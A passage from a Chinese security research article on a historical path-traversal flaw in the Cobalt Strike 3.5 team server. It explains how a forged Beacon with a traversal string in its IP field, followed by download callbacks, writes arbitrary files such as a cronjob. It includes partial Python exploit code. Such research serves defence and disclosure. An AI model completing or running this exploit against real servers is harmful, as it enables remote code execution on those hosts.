互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究( 六 )


互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

CS 3.5 download文件夹
尽管对文件名本身进行了遍历检查 , 但并未检查IP地址字段 , 这是由于IP地址字段中存在目录遍历漏洞 , 正如我们之前所演示的那样 , 该漏洞是在Beacon元数据中设置并由攻击者控制的 。
因此 , 我们不再报告截至10.133.37.10的Beacon IP地址 , 而是将其报告为目标文件夹 , 例如../../../../etc/ 。
注意:易受攻击的代码使用IP地址值在其他各个地方(包括写入日志文件)构建文件路径 。 尽管日志文件投毒绝对是一个可利用的方法 , 但我们选择使用与流行的利用相同的方法 。
0x05 漏洞利用开发
通常针对基于Linux的服务器使用文件系统写入原语 , 这为我们提供了多种利用方式 。 我们复制了在野利用开发中使用的相同技术 , 即:
·使用内部IP地址为../../../../../[TARGET_FOLDER]/的Beacon载入

·然后执行DOWNLOAD_START *回调 , 该回调导致文件被创建
·然后执行DOWNLOAD_WRITE *回调 , 使内容被写入
可能不是官方术语 , 但是我们将在此处使用这些术语来指代任务响应类型 。 其中 , DOWNLOAD_START是来自“下载”任务的初始响应(这将导致在文件系统上创建文件) , 而DOWNLOAD_WRITE是包含要为下载任务写入的数据的响应 。
但是 , 在执行此操作之前 , 我们需要了解DOWNLOAD_START和DOWNLOAD_WRITE回调的结构 。 如前所述 , 我们知道这些文件是AES加密的 , 带有加密长度 , 并且一旦解密就具有计数器和长度 。 但是解密后的数据的结构是什么?下面对此进行说明 。
DOWNLOAD_START回调结构 。
该任务的回调类型为2 , 解密的回调结构如下:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

DOWNLOAD_WRITE回调结构
该任务的回调类型为8 , 解密的回调结构如下:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

为了真正实现代码执行 , 我们像在在野攻击一样编写了一个cronjob 。 通常 , 这将涉及在元数据Blob和任务回调中发送以下值:

互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

假设我们已经编写了用于构建元数据blob(具有IP地址遍历字符串)和选择的AES密钥的函数 。 我们可以伪造Beacon , 并使用我们精心制作的值检入DOWNLOAD_START和DOWNLOAD_WRITE回调 。 示例代码如下:
# First we need to register a beacon with a directory traversal in the ip address field
ip_address = "../../../../../../%s" % os.path.split(args.filepath)[0]
# Generate symmetric keys (used later)
raw_aes_keys = os.urandom(16)
aes_key, hmac_key = generate_keys(raw_aes_keys)
m = Metadata(public_key=args.public_key, cs_version=3)
m.public_key = args.public_key
m.bid = args.bid
m.pid = args.pid
m.ver = "10.0"
m.intz = ip_address
m.comp = args.computer
m.user = args.username
m.is64 = "1" # 64-bit OS
m.barch = "1" # 64-bit beacon
m.raw_aes_keys = raw_aes_keys
m.calculate_aes()
enc = m.pack()
# register the beacon
print "[*] Staging beacon .."
register_beacon(enc, args.target, args.uri, args.host, args.ssl)
# Now we need to push a DOWNLOAD_START response to cause a file write


推荐阅读